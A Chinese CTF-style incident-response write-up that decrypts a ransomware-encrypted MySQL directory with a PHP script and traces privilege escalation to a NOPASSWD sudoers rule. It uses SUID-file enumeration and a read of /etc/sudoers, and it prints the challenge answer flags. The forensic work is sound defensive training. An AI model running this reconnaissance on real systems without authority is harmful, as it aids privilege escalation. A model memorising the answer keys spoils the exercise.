  • file_put_contents($fullPath, $encryptedContent):将加密后的内容写回到原文件中。

总的来说就是;

1. 生成基于当前日期的MD5哈希值作为加密密钥。
2. 生成一个基于特定字符串的初始化向量(IV)。
3. 遍历指定目录中的所有文件,读取其内容并使用AES-256-CBC加密算法进行加密。
4. 将加密后的内容覆盖写回到原文件。

这里我就直接搬了网上师傅的逆推脚本过来,懒得写了;

复制代码
<?php  
$currentDate = date("Y-m-d");  
$key = md5('2023-11-18');  
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);  
$filePath = "/var/lib/mysql/JPMorgan@0020Chase";  
$files = scandir($filePath);  
foreach ($files as $file) {  
        if ($file != "." && $file != "..") {  
                    $fullPath = $filePath . '/' . $file;  
                        $encryptedContent = file_get_contents($fullPath);  
                        $decryptedContent = openssl_decrypt($encryptedContent, 'aes-256-cbc', $key, 0, $iv);  
                            file_put_contents($fullPath, $decryptedContent);  
                        }  
}  
?>

简单分析一下;

首先肯定一点的就是,这个PHP脚本的作用是对指定目录下的所有文件进行解密。

  1. 固定当前日期并生成MD5哈希

    复制代码
     $currentDate = "2023-11-18";
     $key = md5($currentDate);
  • $currentDate:指定固定的日期为 "2023-11-18"。
  • $key:使用 md5 函数将该日期转换为一个128位的哈希值,这个值将作为解密的密钥。
  1. 生成初始化向量(IV)

    复制代码
     $iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);

$iv:使用 hash 函数将字符串 "DeepMountainsGD" 转换为一个256位的哈希值,然后取其前16字节作为初始化向量(IV)。IV用于确保加密和解密过程的一致性。

  1. 指定文件路径并读取目录内容

    复制代码
     $filePath = "/var/lib/mysql/JPMorgan@0020Chase";
     $files = scandir($filePath);
  • $filePath:指定目标文件路径,这里是 /var/lib/mysql/JPMorgan@0020Chase
  • $files:使用 scandir 函数读取指定目录的内容,并返回一个包含目录中所有文件和子目录的数组。
  1. 遍历文件并进行解密

    复制代码
     foreach ($files as $file) {
         if ($file != "." && $file != "..") {
             $fullPath = $filePath . '/' . $file;
             $content = file_get_contents($fullPath);
             $encryptedContent = openssl_decrypt($content, 'aes-256-cbc', $key, 0, $iv);
             file_put_contents($fullPath, $encryptedContent);
         }
     }
  • foreach ($files as $file):遍历目录中所有文件和子目录。
  • if ($file != "." && $file != ".."):跳过当前目录 . 和父目录 ..
  • $fullPath = $filePath . '/' . $file:构建完整的文件路径。
  • $content = file_get_contents($fullPath):读取文件内容。
  • $encryptedContent = openssl_decrypt($content, 'aes-256-cbc', $key, 0, $iv):使用 openssl_decrypt 函数对文件内容进行解密,采用 aes-256-cbc 解密算法,使用生成的密钥和IV。
  • file_put_contents($fullPath, $encryptedContent):将解密后的内容写回到原文件中。

总结来说就是;

  • 使用固定的日期 "2023-11-18" 生成MD5哈希值作为解密密钥。
  • 生成一个基于特定字符串的初始化向量(IV)。
  • 遍历指定目录中的所有文件,读取其内容并使用AES-256-CBC解密算法进行解密。
  • 将解密后的内容覆盖写回到原文件。

那这里我们直接把解密脚本写在/var/www/mysql/目录下即可;(写入的方法不唯一,可以直接在Liunx中"vim"一个文件,也可以直接在Finalsheell下右键新建一个php后缀结尾的文件)

这里直接是"vim"编辑了一个文件,接着脚本复制进去即可;(注意先按"i"才能复制)

复制代码
vim 123.php

接着保存退出(先按一次Esc,接着按住shift+:英文的冒号,输入:wq保存退出即可)

接着运行;

复制代码
php 123.php

运行完成,就先不要急着返回刷新数据库,最好先重启一下数据库;

使用命令;

复制代码
sudo systemctl restart mysql

接着,再返回我们的"Navicat Premium 16",选中刷新一下即可,看见表;

也可以在"Finalshell"目录下载直接右键新建也行;

接着就是把脚本复制进新建的文件中,Ctrl+s保存即可,然后还是跟上面一样执行脚本,重启一下数据库即可;

方法不唯一,仅供参考;

不过这里需要注意的是,脚本最好只运行一次!!!!!(如果运行脚本并且报错了,就不要再运行了,因为可能你的数据库已经被你覆盖掉了,这时候没办法,只能新启一个靶机了,所以最好一气呵成不要报错!!!!)

那最后题目问我们Harper用户对应Areer的值是什么并且进行MD5加密;

注意先进行MD5加密再提交,这里就不再演示,直接放结果;(随便找个在线的MD5加密即可)

至此;

复制代码
flag{8fd82b8864d71ed7fa12b59e6e34cd1c}
步骤#1.10
因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}。

解题思路

题目让我们找到黑客提权所使用的文件并且进行MD5加密,既然说了提权那我们就可以直接使用命令查找系统中以 root 用户身份拥有并设置了 SUID(Set User ID)权限的文件。

命令:

复制代码
find / -user root -perm -4000 2>/dev/null

简单分析一下;

  • find /: 从根目录开始查找文件。
  • -user root: 查找所有属于 root 用户的文件。
  • -perm -4000: 查找设置了 SUID 位的文件(即特殊权限位)。
    • 4000 是八进制表示法,用于指定 SUID 位。
    • -perm -4000 意味着查找具有 SUID 权限的文件,无论其他权限如何。
  • 2>/dev/null: 将标准错误输出重定向到 /dev/null,即忽略错误信息(例如没有权限访问的目录)。

那有的师傅可能就要问了,为什么会使用这个命令;

简单来说是为了查找被黑客利用的具有 SUID 权限的文件。设置了 SUID 位的文件在执行时将以文件所有者(通常是 root 用户)的权限运行,而不是以执行者的权限运行。黑客可能会利用这些文件进行提权攻击,即通过这些文件获取 root 权限,从而对系统进行更高权限的操作。

得到;

简单分析一下;

发现/usr/bin/sudo:Sudo 是一个常见的提权工具,肯定会被滥用。

/usr/bin/sudo

  • 使用广泛:Sudo 被广泛用于权限提升,如果配置中有漏洞,黑客可以利用 sudo 提权。
  • 历史漏洞:Sudo 曾经存在一些被利用的漏洞,比如 CVE-2019-14287,可以绕过限制。

那我们进一步的分析一下"/etc/sudoers"

为什么会分析"/etc/sudoers"呢?

  • 权限配置:了解哪些用户或用户组被授予了 sudo 权限。如果配置不当,可能允许普通用户以 root 权限运行命令,从而导致安全问题。
  • 命令限制:查看是否有特定用户被允许执行特定的命令,而不需要输入密码。如果这些命令存在漏洞,可能被黑客利用来提权。
  • 安全策略 :确认是否启用了安全策略,例如 requiretty 选项(要求 sudo 命令只能从终端运行),或 NOPASSWD 选项(允许某些命令无需密码运行)。
  • 日志记录:检查 sudoers 文件中是否有日志记录配置,方便追踪 sudo 命令的使用情况。

简而言之: /etc/sudoers 包含了系统上 sudo 的配置和权限设置。(之前不是分析出sudo可能有问题嘛)

所以;

复制代码
cat /etc/sudoers

得到;

简单分析一下;

默认设置 (Defaults)

  • env_reset:重置环境变量,确保运行 sudo 命令时环境变量安全。
  • mail_badpass:在用户输入错误密码时发送邮件通知。
  • secure_path:为 sudo 命令设置安全路径,确保运行的命令来自可信路径。

用户权限 (User privilege specification)

  • root ALL=(ALL:ALL) ALL:root 用户可以在任何主机上以任何用户身份执行任何命令。
  • www-data ALL=(root) NOPASSWD: /bin/systemctl status apache2.servicewww-data 用户可以以 root 身份执行 /bin/systemctl status apache2.service 命令,并且无需输入密码。

重点分析

  • www-data 用户的权限配置
    • 配置允许 www-data 用户以 root 身份执行特定的 systemctl 命令,而不需要输入密码。虽然这看起来是一个受限的权限配置,但如果 www-data 用户的环境中存在漏洞,黑客可以利用这些漏洞提权。
    • 例如,如果 web 应用程序允许上传和执行任意文件,黑客可以上传恶意脚本,利用 systemctl 命令的执行权限来进一步渗透系统。

NOPASSWD 选项

  • 任何无需密码验证的 sudo 配置都可能带来危害,因为它为潜在的攻击者提供了绕过身份验证的途径。
  • 在这个案例中,虽然只允许执行 systemctl status apache2.service,存在某种漏洞,肯定会导致执行其它命令或达到提权的效果。

题目让我们提交提权文件完整路径的MD5;

完整路径:/etc/sudoers

所以直接在Liunx中MD5加密即可;(这里不再多说)

复制代码
md5sum /etc/sudoers

至此;

复制代码
flag{6585817513b0ea96707ebb0d04d6aeff}
相关推荐
fengyehongWorld1 分钟前
Linux journald与journalctl命令
linux·运维·服务器
啊吧怪不啊吧4 分钟前
从单主机到多主机——分布式系统的不断推进
网络·数据库·redis·分布式·架构
米高梅狮子6 分钟前
1. Cockpit 管理服务器
linux·运维·服务器
一颗青果6 小时前
HTTP协议详解
linux·网络·网络协议·http
小Ti客栈8 小时前
安全之加密算法
安全
广州灵眸科技有限公司9 小时前
瑞芯微(EASY EAI)RV1126B CAN使用
linux·网络·单片机·嵌入式硬件
cici1587410 小时前
C#实现三菱PLC通信
java·网络·c#
专业开发者11 小时前
经 Nordic 实测:蓝牙长距离传输
网络·物联网
魂万劫11 小时前
如何在虚拟机VM上|Linux环境内安装windows
linux·运维·服务器·windows
wadesir11 小时前
掌握Rust并发数据结构(从零开始构建线程安全的多线程应用)
数据结构·安全·rust